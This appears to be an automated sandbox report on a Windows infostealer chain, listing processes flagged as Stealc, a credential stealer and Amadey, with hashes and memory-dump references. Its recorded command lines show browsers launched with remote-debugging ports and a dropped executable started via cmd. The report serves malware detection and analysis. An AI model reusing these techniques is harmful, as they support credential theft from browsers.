Commandline:	"C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe"
Imagebase:	0x770000
File size:	2'860'544 bytes
MD5 hash:	647D406859985059FC39F0273BABE2EA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:39:39
Start date:	24/12/2024
Path:	C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe"
Imagebase:	0x100000
File size:	5'140'992 bytes
MD5 hash:	18DC0107B3BD2372C4AD86965F823315
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.3046365841.0000000000101000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.3046365841.00000000001D4000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.3048071959.0000000000B92000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.3048071959.0000000000B1E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:39:52
Start date:	24/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:39:53
Start date:	24/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2136,i,13351786285830882789,5096534948754379565,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:40:03
Start date:	24/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	06:40:03
Start date:	24/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2312,i,9912204762408488542,753196695305044942,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:40:04
Start date:	24/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:40:04
Start date:	24/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2336 --field-trial-handle=2324,i,13382879543148318922,11385006065891053408,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:40:38
Start date:	24/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\BAAFBFBAAK.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	06:40:38
Start date:	24/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	06:40:38
Start date:	24/12/2024
Path:	C:\Users\user\Documents\BAAFBFBAAK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\BAAFBFBAAK.exe"
Imagebase:	0xc70000
File size:	3'228'160 bytes
MD5 hash:	9FA37A32CC4E905BB5BB96735F362FA7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.3083424301.0000000000C71000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	06:40:40
Start date:	24/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xf70000
File size:	3'228'160 bytes
MD5 hash:	9FA37A32CC4E905BB5BB96735F362FA7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.3112146161.0000000000F71000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	06:40:42
Start date:	24/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xf70000
File size:	3'228'160 bytes
MD5 hash:	9FA37A32CC4E905BB5BB96735F362FA7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000012.00000002.3125756015.0000000000F71000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	06:41:00
Start date:	24/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xf70000
File size:	3'228'160 bytes
MD5 hash:	9FA37A32CC4E905BB5BB96735F362FA7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000002.3329799992.0000000000F71000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	39.1%
Signature Coverage:	13%
Total number of Nodes:	23
Total number of Limit Nodes:	0

Executed Functions

Function 00908059 Relevance: 1.7, APIs: 1, Instructions: 169
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 009080CF

Memory Dump Source

Source File: 00000003.00000002.2523446142.0000000000900000.00000040.00000001.01000000.00000006.sdmp, Offset: 00770000, based on PE: true

Associated: 00000003.00000002.2522895468.0000000000770000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522928284.0000000000772000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522972306.0000000000776000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522995747.000000000077A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523056730.0000000000786000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523330603.00000000008E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523369669.00000000008E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523446142.000000000090F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523513045.0000000000911000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523574531.0000000000912000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523598927.0000000000917000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523654735.0000000000918000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523679069.0000000000923000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523734819.0000000000928000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523763277.000000000093F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523813426.0000000000941000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523836493.0000000000942000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523894883.0000000000943000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523918994.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523980078.0000000000954000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524005715.000000000095E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524029196.0000000000961000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524100115.0000000000974000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524124855.000000000097D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524147763.000000000097E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524221606.000000000097F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524246007.0000000000980000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524270514.0000000000983000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524293855.0000000000984000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524323749.000000000098A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525194903.0000000000992000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525900742.0000000000993000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525936208.000000000099F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525969737.00000000009A1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525993914.00000000009A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2526054307.00000000009A9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2526283602.00000000009B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527582101.00000000009B3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527674868.00000000009B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527747450.00000000009BC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527784330.00000000009CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527848158.00000000009CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527878028.00000000009DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527912089.00000000009DD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527982684.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528076157.0000000000A15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528271802.0000000000A16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528271802.0000000000A1D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528635743.0000000000A2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528672767.0000000000A2E000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_770000_KJS41VRCEBDG1XT5OWD29HCSZ2RM.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e6a0c05992ccd31be19b881c0a6f39c6ce4469fc8e7f5c3cc911ac6434f7a261
Instruction ID: 8a52a5e9488f06cb3da81d764ef671fb500f733be6c8b8dbd8f38ab9586ced04
Opcode Fuzzy Hash: e6a0c05992ccd31be19b881c0a6f39c6ce4469fc8e7f5c3cc911ac6434f7a261
Instruction Fuzzy Hash: 414127B270C2459FE7115F689C80BBB3BECDB81724F24483DE9C5C76C2DA794C499615

Function 0077B79E Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

!!iH, xrefs: 0077B90E

Memory Dump Source

Source File: 00000003.00000002.2522995747.000000000077A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00770000, based on PE: true

Associated: 00000003.00000002.2522895468.0000000000770000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522928284.0000000000772000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522972306.0000000000776000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523056730.0000000000786000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523330603.00000000008E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523369669.00000000008E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523446142.0000000000900000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523446142.000000000090F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523513045.0000000000911000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523574531.0000000000912000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523598927.0000000000917000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523654735.0000000000918000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523679069.0000000000923000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523734819.0000000000928000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523763277.000000000093F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523813426.0000000000941000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523836493.0000000000942000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523894883.0000000000943000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523918994.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523980078.0000000000954000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524005715.000000000095E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524029196.0000000000961000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524100115.0000000000974000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524124855.000000000097D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524147763.000000000097E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524221606.000000000097F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524246007.0000000000980000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524270514.0000000000983000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524293855.0000000000984000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524323749.000000000098A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525194903.0000000000992000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525900742.0000000000993000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525936208.000000000099F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525969737.00000000009A1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525993914.00000000009A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2526054307.00000000009A9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2526283602.00000000009B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527582101.00000000009B3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527674868.00000000009B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527747450.00000000009BC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527784330.00000000009CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527848158.00000000009CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527878028.00000000009DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527912089.00000000009DD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527982684.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528076157.0000000000A15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528271802.0000000000A16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528271802.0000000000A1D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528635743.0000000000A2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528672767.0000000000A2E000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_770000_KJS41VRCEBDG1XT5OWD29HCSZ2RM.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: 003354e8f69c001cb53863cb6b650f269b89b9679da807d2782a93d1f858231e
Instruction ID: 23a4ec0698d46431fe30ee5eb269f0c069f26b52e7464e9cac6674f642dd7642
Opcode Fuzzy Hash: 003354e8f69c001cb53863cb6b650f269b89b9679da807d2782a93d1f858231e
Instruction Fuzzy Hash: 8AE0C23121458ACADF1A9F6488057597A0DDB40740F90C224FB299AE45CB2D6D118BD6

Function 0090808A Relevance: 1.6, APIs: 1, Instructions: 149
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 009080CF

Memory Dump Source

Source File: 00000003.00000002.2523446142.0000000000900000.00000040.00000001.01000000.00000006.sdmp, Offset: 00770000, based on PE: true

Associated: 00000003.00000002.2522895468.0000000000770000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522928284.0000000000772000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522972306.0000000000776000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522995747.000000000077A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523056730.0000000000786000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523330603.00000000008E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523369669.00000000008E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523446142.000000000090F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523513045.0000000000911000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523574531.0000000000912000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523598927.0000000000917000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523654735.0000000000918000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523679069.0000000000923000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523734819.0000000000928000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523763277.000000000093F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523813426.0000000000941000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523836493.0000000000942000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523894883.0000000000943000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523918994.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523980078.0000000000954000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524005715.000000000095E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524029196.0000000000961000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524100115.0000000000974000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524124855.000000000097D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524147763.000000000097E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524221606.000000000097F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524246007.0000000000980000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524270514.0000000000983000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524293855.0000000000984000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524323749.000000000098A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525194903.0000000000992000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525900742.0000000000993000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525936208.000000000099F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525969737.00000000009A1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2525993914.00000000009A2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2526054307.00000000009A9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2526283602.00000000009B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527582101.00000000009B3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527674868.00000000009B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527747450.00000000009BC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527784330.00000000009CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527848158.00000000009CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527878028.00000000009DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527912089.00000000009DD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2527982684.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528076157.0000000000A15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528271802.0000000000A16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528271802.0000000000A1D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528635743.0000000000A2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2528672767.0000000000A2E000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_770000_KJS41VRCEBDG1XT5OWD29HCSZ2RM.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8cccce57228fd4e890c22fd71920c7a9e05ff3eb2b7a274c275eb1807ed78334
Instruction ID: 4a16fb6b6cff1b4ca92848dcde023304681650e9acf68047f356ded3ab23a3b0
Opcode Fuzzy Hash: 8cccce57228fd4e890c22fd71920c7a9e05ff3eb2b7a274c275eb1807ed78334
Instruction Fuzzy Hash: 2C4126B270C2059FE7109F68DC80ABB37E9E785720F20483DE9C1C7681EA794C499665

Function 009080AF Relevance: 1.6, APIs: 1, Instructions: 131
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 009080CF

Memory Dump Source

Source File: 00000003.00000002.2523446142.0000000000900000.00000040.00000001.01000000.00000006.sdmp, Offset: 00770000, based on PE: true

Associated: 00000003.00000002.2522895468.0000000000770000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522928284.0000000000772000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522972306.0000000000776000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2522995747.000000000077A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523056730.0000000000786000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523330603.00000000008E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523369669.00000000008E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523446142.000000000090F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523513045.0000000000911000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523574531.0000000000912000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523598927.0000000000917000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523654735.0000000000918000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523679069.0000000000923000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523734819.0000000000928000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523763277.000000000093F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523813426.0000000000941000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523836493.0000000000942000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523894883.0000000000943000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523918994.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2523980078.0000000000954000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2524005715.000000000095E000.00000080.00000001.01000000.00000006.sdmpDownload File
